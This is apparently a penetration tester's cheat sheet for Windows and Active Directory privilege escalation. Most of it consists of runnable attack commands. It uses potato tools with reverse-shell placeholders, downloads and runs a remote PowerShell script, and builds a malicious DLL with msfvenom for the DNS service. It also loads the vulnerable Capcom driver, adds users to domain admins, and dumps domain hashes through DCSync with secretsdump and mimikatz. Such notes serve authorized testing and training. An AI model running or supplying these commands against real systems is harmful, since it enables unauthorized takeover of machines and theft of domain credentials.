Privileges
Users may have privileges for running some system tasks such as backups that may be used to escalate.
We can list your privileges with the command below, but, you won't see all of them unless you're in an admin prompt.
PS> whoami /priv
PS> # your groups can have privileges too!
Privileges are listed and explained here.
You can find way to exploit them on:
- Priv2Admin (1.9k β)
- PrivFu (0.8k β)
- ...
Privileges may have been granted but not enabled. Some privileges can be enable using their exploit script, others can be enabled with builtin commands, and for most others, we can use:
- Set-TokenPrivilege.ps1 (2011 πͺ¦)
- PoshPrivilege with Enable-Privilege.ps1 (0.1k β, 2015 πͺ¦)
NormalPrompt2Admin
We may use these as a normal user to escalate to admin.
SeImpersonate β steal access tokens
The most common approach is to use potato scripts.
PS> # You can pick any port for -l. It's for DCOM traffic.
PS> .\JuicyPotato.exe -l any_port -p c:\windows\system32\cmd.exe -a "/c <reverse shell command>" -t *
You can use PrintSpoofer (1.9k β, 2020 πͺ¦):
PS> .\PrintSpoofer.exe -c "<reverse shell command>"
Additional references:
- RogueWinRM (0.7k β, 2020 πͺ¦) using WinRM
- token-priv (0.8k β, 2017 πͺ¦)
ElevatedPromptToAdmin
We may use these from an elevated prompt to escalate to admin.
SeDebugPrivilege β Dump Process Memory
We can use methods shown in Dump Credentials From LSASS Process to dump a process memory, which is often LSASS.
We can also steal and reuse the parent access token such as LSASS.
PS> wget "https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1" -O psgetsys.ps1
PS> .\psgetsys.ps1
PS> [MyProcess]::CreateProcessFromParent(<target_process_pid>,"<command_to_execute>","")
β‘οΈ See also: PrivFu/SeDebugPrivilegePoC.
GroupToAdmin
Backup Operators β Access any file
-- Grants SeBackup and SeRestore privileges --
We can use SeBackupPrivilege (0.3k β, 2013 πͺ¦) to enable/disable the privilege and exploit it.
PS> Import-Module .\SeBackupPrivilegeUtils.dll
PS> Import-Module .\SeBackupPrivilegeCmdLets.dll
PS> Get-SeBackupPrivilege # is enabled?
PS> Set-SeBackupPrivilege # enable it
We can use robocopy
to perform a backup copy:
PS> robocopy /B <source_folder> <dest_folder> <filename>
We could access the SAM database or NTDS.dit...
DnsAdmins β Configure The DNS Service
-- Grants access to network DNS information --
The DNS service runs as NT AUTHORITY\SYSTEM. When restarted, if HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
registry key is set and points to a DLL file, then it will be executed. We can generate a DLL using msfvenom.
$ msfvenom -p windows/x64/exec cmd='<some command>' -f dll -o malicious.dll
PS> Get-ADGroupMember -Identity DnsAdmins # as DNS admin
PS> dnscmd /config /serverlevelplugindll <absolute_path_to_dll>
You need to restart the DNS service. If you made changes to the groups of the current user, you need to log out and log back in.
Event Log Readers β Can Read Logs
You may find cleartext credentials within the logs.
PS> wevtutil qe Security /rd:true /f:text | Select-String "/user"
PS> wevtutil qe Security /rd:true /f:text /r:share_name /u:username /p:password | Select-String "/user"
You can also use Get-WinEvent
but it requires special permissions.
Remote Access Groups
Users may be able to RDP to some host or using WinRM.
PS> # PowerView
PS> Get-NetLocalGroupMember -ComputerName DC01 -GroupName "Remote Desktop Users"
PS> Get-NetLocalGroupMember -ComputerName DC01 -GroupName "Remote Management Users"
Server Operators
-- Grants many privileges as listed here --
Members of the Server Operators group can administer domain controllers. They can start/stop/manage services, backup/restore files...
Refer to Windows services notes or Backup Operators notes.
Print Operators
-- Grants the SeLoadDriverPrivilege among other privileges --
Members of the Print Operators can manage shares, delete printers, and before Windows 10 Version 1803, we would load a malicious driver using a user registry key. Capcom is a known vulnerable driver.
We could use EoPLoadDriver (0.1k β, 2018 πͺ¦) to enable the SeLoadDriverPrivilege and configure load the capcom.sys driver.
PS> .\EoPLoadDriver.exe System\CurrentControlSet\Capcom .\Capcom.sys
We could do it manually by compiling EnableSeLoadDriverPrivilege (1.0k β, 2018 πͺ¦) and create registry keys pointint to capcom.sys:
PS> .\EnableSeLoadDriverPrivilege.exe
<ok>
PS> reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Path\to\Capcom.sys"
PS> reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
Compile EnableSeLoadDriverPrivilege.cpp on Windows
Add the following headers:
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
<...>
You may use cl
from Visual Studio or Windows SDK:
PS> cl.exe /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Compile EnableSeLoadDriverPrivilege.cpp on Linux
Add the following headers:
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
<...>
Install either g++-mingw-w64-i686
or g++-mingw-w64-x86-64
according to your architecture ($env:PROCESSOR_ARCHITECTURE).
$ sed -i -e 's/%\(.*\)ws/%\1ls/g' EnableSeLoadDriverPrivilege.cpp # %ls on Linux (even if target is Windows)
$ x86_64-w64-mingw32-g++ -DUNICODE -D_UNICODE -municode -mconsole -o EnableSeLoadDriverPrivilege.exe EnableSeLoadDriverPrivilege.cpp -lntdll -luser32 -ladvapi32 -static-libgcc -static-libstdc++ -O2
$ strip EnableSeLoadDriverPrivilege.exe
You can exploit the driver using ExploitCapcom (0.3k β, 2022 πͺ¦):
PS> .\ExploitCapcom.exe
You can use driverview to list loaded drivers.
Windows Dangerous ACEs
Dangerous ACEs β Overview
In an Active Directory Network, it's common for users to be added to custom groups, and for custom ACEs to be defined for each group.
We may encounter many easy attack vectors:
GenericAll
: grant full control over an objectGenericWrite
: grant write access over an objectAddSelf
: add our user to a groupAllExtendedRights
: include ForceChangePassword, Add MembersAddMembers
: add arbitrary users to a groupForceChangePassword
: reset someone else passwordWriteOwner
: change the owner of an objectWriteDACL
: modify the DACL of an objectReanimateTombstones
: ...GroupMSAMembership
: GMSAPasswordReader, gMSADumperReplicatingDirectoryChanges
,[...]All
, and optionally[...]InFilteredSet
: DCSync attack to dump hashes/passwords
We can use PowerView to list too many possibly interesting ACEs:
PS> Find-InterestingDomainAcl
PS> $sid = Convert-NameToSid username
PS> Get-DomainObjectACL -Identity cn | ? {$_.SecurityIdentifier -eq $sid}
PS> Get-DomainObjectACL -ResolveGUIDs -Identity cn | ? {$_.SecurityIdentifier -eq $sid}
You should use BloodHound to find interesting/exploitable ACEs.
You can manually inspect objects in the MME interface, but it's quite a pain. Remember to enable Advanced Properties in View.
Dangerous ACEs β Exploitation
Many commands can only be run on a domain controller as a local administrator or the appropriate level of permissions.
PS> runas.exe /netonly /user:EXAMPLE.COM\username powershell.exe
Some commands require a password or a credential object:
PS> $pass = ConvertTo-SecureString -AsPlainText "old" -Force
PS> $Creds = New-Object System.Management.Automation.PSCredential('domain\username', $pass)
- NET Commands
PS> net group "domain admins" <username> /add /domain # add to group
- Active Directory PowerShell Module Commands
PS> Set-ADAccountPassword -Identity username -OldPassword $pass -NewPassword $pass
- PowerView Commands
PS> Set-DomainUserPassword -Identity username -AccountPassword $pass -Credential $Cred -Verbose
PS> Add-DomainGroupMember -Identity "domain admins" -Members 'username' -Credential $Cred -Verbose
PS> Remove-DomainGroupMember -Identity "domain admins" -Members 'username' -Credential $Cred -Verbose # Remove
PS> Set-DomainObject -Credential $Cred -Identity username -SET @{serviceprincipalname='xxx/yyy'} -Verbose # fake SPN
PS> Set-DomainObject -Credential $Cred -Identity username -Clear serviceprincipalname -Verbose # Remove SPN
The image below is from HTB AD module and publicly available.
Dangerous ACEs β GenericWrite
We can add ourselves in another group such as IT
below, that we may leverage to escalate through the domain.
AceType: AccessAllowed
ObjectDN: CN=IT,OU=[...]
ActiveDirectoryRights: [...], GenericWrite
We can add a fake SPN to a user account to perform a kerberoasting attack. We can alternatively perform an ASReproasting attack.
Dangerous ACEs β GenericAll
We can perform multiple actions. Refer to GenericWrite for a few.
If we have this access on a computer object, we can read its password if LAPS is enabled and gain local admin access.
Dangerous ACEs β ForceChangePassword
We should ask if we are allowed to reset someone else's password to our client. We may do that to access a user which is in an interesting group which we should be able to exploit.
Dangerous ACEs β AddSelf
We can add ourselves to interesting groups?
Dangerous ACEs β ReplicatingDirectoryChanges
You need at least ReplicatingDirectoryChanges
and [...]All
to perform a Domain Controller (DC) Synchronization (Sync) attack. It allows us to steal the Active Directory database.
$ impacket-secretsdump -outputfile example_hashes -just-dc example.com/username:password@DCIP
mimikatz> lsadump::dcsync /user:example\username
mimikatz> lsadump::dcsync /domain:example.com /user:example\username
π» To-do π»
Stuff that I found, but never read/used yet.
- To find what a GUID is associated with, either Google the GUID, or look inside
Extended-Rights
, as per HTB:
PS> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl
- We can use active directory module and Get-ACL
PS> Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
PS> foreach($line in [System.IO.File]::ReadLines("ad_users.txt")) {get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access | Where-Object {$_.IdentityReference -match 'domain\\username'}}